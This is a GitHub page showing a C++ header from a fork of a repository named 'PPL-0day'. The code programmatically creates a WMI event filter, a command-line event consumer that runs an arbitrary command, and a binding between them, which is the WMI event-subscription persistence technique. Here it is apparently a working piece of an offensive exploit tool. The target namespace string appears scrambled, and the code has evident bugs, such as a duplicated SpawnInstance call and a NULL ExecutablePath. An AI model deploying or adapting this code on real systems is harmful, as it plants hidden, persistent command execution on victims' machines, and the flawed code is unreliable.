forked from pulpocaminante/PPL-0day
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathBindingInterface.hpp
executable file
·338 lines (289 loc) · 10.7 KB
/
BindingInterface.hpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
#pragma once
#include "WMIConnection.hpp"
class BindingInterface
{
public:
BOOL IReady;
BindingInterface(COMWrapper& com_wrapper, WMIConnection& wmi_connection) :
COM(com_wrapper), WMI(wmi_connection), IReady(FALSE),
pFilterClass(NULL), pFilter(NULL), pBinderClass(NULL),
pBinder(NULL), pConsumerClass(NULL), pConsumer(NULL),
sFilterName_Bind(L""), sConsumerName_Bind(L"")
{
if (WMI.IReady && COM.IReady)
IReady = TRUE;
}
~BindingInterface()
{
if (pFilter)
pFilter->Release();
if (pFilterClass)
pFilterClass->Release();
if (pBinder)
pBinder->Release();
if (pBinderClass)
pBinderClass->Release();
if (pConsumer)
pConsumer->Release();
if (pConsumerClass)
pConsumerClass->Release();
}
HRESULT CreateFilter(
_In_ std::wstring sFilterName,
_In_ std::wstring sFilterQuery,
_In_ std::wstring sFilterNamespace)
{
if (wcscmp(this->WMI.currentNamespace, L"RsnObcoOuriTSit\\p") != 0)
WMI.ConnectToNamespace("RsnObcoOuriTSit\\p", 0);
if (!WMI.bConnected)
return E_FAIL; // Something is very wrong
if (pFilterClass != NULL)
{
ILog("Error: Can only create one filter per class instance\n");
return E_FAIL;
}
HRESULT hres;
// Variant initialization
VARIANT vtProp;
VARIANT vtProp2;
VARIANT vtProp7;
VARIANT vtProp11;
VariantInit(&vtProp);
VariantInit(&vtProp2);
VariantInit(&vtProp7);
VariantInit(&vtProp11);
// Get the filter class
hres = WMI.pSvc->GetObject(_bstr_t(L"__EventFilter"), 0, NULL, &pFilterClass, NULL);
if (FAILED(hres))
{
ILog("Failed to get __EventFilter class object. Error code = 0x%lx\n", hres);
return hres;
}
// Create the filter instance
hres = pFilterClass->SpawnInstance(0, &pFilter);
if (FAILED(hres))
{
ILog("Failed to spawn __EventFilter instance. Error code = 0x%lx\n", hres);
return hres;
}
// Put name, query and query language
vtProp.vt = VT_BSTR;
vtProp.bstrVal = SysAllocString(sFilterName.c_str());
hres = pFilter->Put(_bstr_t(L"Name"), 0, &vtProp, 0);
if (FAILED(hres))
{
ILog("Failed to set Name property on Filter. Error code = 0x%lx\n", hres);
goto cleanup;
return hres;
}
vtProp2.vt = VT_BSTR;
vtProp2.bstrVal = SysAllocString(sFilterQuery.c_str());
hres = pFilter->Put(_bstr_t(L"Query"), 0, &vtProp2, 0);
if (FAILED(hres))
{
ILog("Failed to set Query property. Error code = 0x%lx\n", hres);
goto cleanup;
return hres;
}
// Set Language = WQL
vtProp7.vt = VT_BSTR;
vtProp7.bstrVal = SysAllocString(L"WQL");
hres = pFilter->Put(_bstr_t(L"QueryLanguage"), 0, &vtProp7, 0);
if (FAILED(hres))
{
ILog("Failed to set QueryLanguage property. Error code = 0x%lx\n", hres);
goto cleanup;
}
// Set namespace = ROOT\DEFAULT
vtProp11.vt = VT_BSTR;
vtProp11.bstrVal = SysAllocString(sFilterNamespace.c_str());
hres = pFilter->Put(_bstr_t(L"EventNamespace"), 0, &vtProp11, 0);
if (FAILED(hres))
{
ILog("Failed to set Namespace property. Error code = 0x%lx\n", hres);
goto cleanup;
}
ILog("Generated filter successfully\n");
this->sFilterName_Bind = sFilterName;
// Cleanup
cleanup:
VariantClear(&vtProp);
VariantClear(&vtProp2);
VariantClear(&vtProp7);
VariantClear(&vtProp11);
return hres;
}
HRESULT CreateCommandLineConsumer(
_In_ std::wstring sConsumerName,
_In_ std::wstring sCommandLine,
_In_opt_ std::wstring sExecutablePath)
{
if (wcscmp(this->WMI.currentNamespace, L"RsnObcoOuriTSit\\p") != 0)
WMI.ConnectToNamespace("RsnObcoOuriTSit\\p", 0);
if (!WMI.bConnected)
return E_FAIL; // Something is very wrong
if (pConsumerClass != NULL)
{
ILog("Error: Can only create one consumer per class instance\n");
return E_FAIL;
}
HRESULT hres;
// Initialize variants
VARIANT vtProp3;
VARIANT vtProp4;
VARIANT vtProp8;
VARIANT vtProp9;
VariantInit(&vtProp3);
VariantInit(&vtProp4);
VariantInit(&vtProp8);
VariantInit(&vtProp9);
// Get the consumer class
hres = WMI.pSvc->GetObject(_bstr_t(L"CommandLineEventConsumer"), 0, NULL, &pConsumerClass, NULL);
if (FAILED(hres))
{
ILog("Failed to get CommandLineEventConsumer class object. Error code = 0x%lx\n", hres);
goto cleanup;
}
hres = pConsumerClass->SpawnInstance(0, &pConsumer);
if (FAILED(hres))
{
ILog("Failed to spawn CommandLineEventConsumer instance. Error code = 0x%lx\n", hres);
goto cleanup;
}
// Put name and commandline template to consumer
vtProp3.vt = VT_BSTR;
vtProp3.bstrVal = SysAllocString(sConsumerName.c_str());
hres = pConsumer->Put(_bstr_t(L"Name"), 0, &vtProp3, 0);
if (FAILED(hres))
{
ILog("Failed to set Name property on Consumer. Error code = 0x%lx\n", hres);
goto cleanup;
}
vtProp4.vt = VT_BSTR;
vtProp4.bstrVal = SysAllocString(sCommandLine.c_str());
hres = pConsumer->Put(_bstr_t(L"CommandLineTemplate"), 0, &vtProp4, 0);
if (FAILED(hres))
{
ILog("Failed to set CommandLineTemplate property on Consumer. Error code = 0x%lx\n", hres);
goto cleanup;
}
// Set executable path on the consumer
if (!sExecutablePath.empty())
{
vtProp8.vt = VT_BSTR;
vtProp8.bstrVal = NULL;
hres = pConsumer->Put(_bstr_t(L"ExecutablePath"), 0, &vtProp8, 0);
if (FAILED(hres))
{
ILog("Failed to set ExecutablePath property on Consumer. Error code = 0x%lx\n", hres);
goto cleanup;
}
}
ILog("Generated consumer class successfully\n");
sConsumerName_Bind = sConsumerName;
// Cleanup
cleanup:
VariantClear(&vtProp3);
VariantClear(&vtProp4);
VariantClear(&vtProp8);
return hres;
}
HRESULT BindFilterAndConsumer()
{
if (wcscmp(this->WMI.currentNamespace, L"RsnObcoOuriTSit\\p") != 0)
WMI.ConnectToNamespace("RsnObcoOuriTSit\\p", 0);
if (!WMI.bConnected)
return E_FAIL; // Something is very wrong
if (pFilter == NULL || pConsumer == NULL)
{
ILog("Error: Filter and Consumer must be created before binding\n");
return E_FAIL;
}
if (sFilterName_Bind.empty() || sConsumerName_Bind.empty())
{
ILog("Error: Filter and Consumer must be created before binding\n");
return E_FAIL;
}
std::wstring sFilterPath = L"__EventFilter.Name=\"" + sFilterName_Bind + L"\"";
std::wstring sConsumerPath = L"CommandLineEventConsumer.Name=\"" + sConsumerName_Bind + L"\"";
HRESULT hres;
// Initialize variants
VARIANT vtProp6;
VARIANT vtProp5;
VariantInit(&vtProp5);
VariantInit(&vtProp6);
// Get the binding class
hres = WMI.pSvc->GetObject(_bstr_t(L"__FilterToConsumerBinding"), 0, NULL, &pBinderClass, NULL);
if (FAILED(hres))
{
ILog("Failed to get __FilterToConsumerBinding class object. Error code = 0x%lx\n", hres);
goto cleanup;
}
// Create the binding instance
hres = pBinderClass->SpawnInstance(0, &pBinder);
if (FAILED(hres))
{
ILog("Failed to spawn __FilterToConsumerBinding instance. Error code = 0x%lx\n", hres);
goto cleanup;
}
// Set the filter and consumer on the binding
hres = pBinder->SpawnInstance(0, &pBinder);
if (FAILED(hres))
{
ILog("Failed to spawn __FilterToConsumerBinding instance. Error code = 0x%lx", hres);
goto cleanup;
}
vtProp5.vt = VT_BSTR;
vtProp5.bstrVal = SysAllocString(sFilterPath.c_str());
hres = pBinder->Put(_bstr_t(L"Filter"), 0, &vtProp5, 0);
if (FAILED(hres))
{
ILog("Failed to set Filter property. Error code = 0x%lx\n", hres);
goto cleanup;
}
vtProp6.vt = VT_BSTR;
vtProp6.bstrVal = SysAllocString(sConsumerPath.c_str());
hres = pBinder->Put(_bstr_t(L"Consumer"), 0, &vtProp6, 0);
if (FAILED(hres))
{
ILog("Failed to set Consumer property. Error code = 0x%lx\n", hres);
goto cleanup;
}
// Set the filter, consumer, and filter to consumer binding in WMI
hres = WMI.pSvc->PutInstance(pFilter, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL);
if (FAILED(hres))
{
ILog("Failed to put filter instance. Error code = 0x%lx\n", hres);
goto cleanup;
}
hres = WMI.pSvc->PutInstance(pConsumer, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL);
if (FAILED(hres))
{
ILog("Failed to put consumer instance. Error code = 0x%lx\n", hres);
goto cleanup;
}
hres = WMI.pSvc->PutInstance(pBinder, WBEM_FLAG_CREATE_OR_UPDATE, NULL, NULL);
if (FAILED(hres))
{
ILog("Failed to put binding instance. Error code = 0x%lx\n", hres);
goto cleanup;
}
// Cleanup
cleanup:
VariantClear(&vtProp5);
VariantClear(&vtProp6);
ILog("Successfully bound consumer & fitler\n");
return hres;
}
private:
COMWrapper& COM;
WMIConnection& WMI;
IWbemClassObject* pFilterClass;
IWbemClassObject* pFilter;
IWbemClassObject* pBinderClass;
IWbemClassObject* pBinder;
IWbemClassObject* pConsumerClass;
IWbemClassObject* pConsumer;
std::wstring sFilterName_Bind;
std::wstring sConsumerName_Bind;
};